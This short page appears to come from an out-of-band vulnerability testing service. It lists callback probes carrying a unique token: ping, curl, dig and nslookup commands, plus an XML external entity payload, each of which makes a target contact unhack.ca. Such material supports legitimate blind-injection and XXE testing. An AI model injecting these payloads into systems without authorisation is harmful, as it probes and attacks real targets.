$ ping -c1 -p 0004056638d9456be9760b89aa258500 unhack.ca
 

$ curl http://unhack.ca/p/04056638d9456be9760b89aa2585
 

$ dig 04056638d9456be9760b89aa2585 @unhack.ca
 

$ dig 04056638d9456be9760b89aa2585.ns.unhack.ca
 

C:\> nslookup 04056638d9456be9760b89aa2585 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/04056638d9456be9760b89aa2585">]>
    <foo>&xxe;</foo>